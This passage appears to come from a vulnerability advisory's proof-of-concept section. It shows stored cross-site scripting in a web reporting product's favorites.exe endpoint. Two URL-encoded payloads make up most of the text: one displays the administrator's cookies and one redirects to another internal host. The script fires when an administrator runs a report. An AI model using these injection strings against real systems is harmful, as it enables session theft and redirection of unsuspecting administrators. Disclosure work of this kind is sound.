IV. PROOF OF CONCEPT

Affected URL:

https://192.168.233.30:9443/explorer_wse/favorites.exe
(though I believe there may be other affected URLs)

Examples:

Alert pop-up containing the cookies

https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&amp;params=startDate=2011-10-29^endDate=2011-10-
29^rnd=936737^&favName=---------------------------------------------------------------------------------------------------------------------------------------------------

%22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3b%0D%09alert%28document.cookie%29%3b%0D%09//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-

Arbitrary redirect

https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&amp;params=startDate=2011-10-29^endDate=2011-10-
29^rnd=936737^&favName=---------------------------------------------------------------------------------------------------------------------------------------------------

%22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3bdocument.location%20%3d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%33%33%2e%31%31%2findex2.html
%22%3b//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-29&vrn=

In these cases when and administrator subsequently runs a report, the javascript is executed. There are other ways to execute Javascript when the page is initially loaded (but I thought this was a good example).
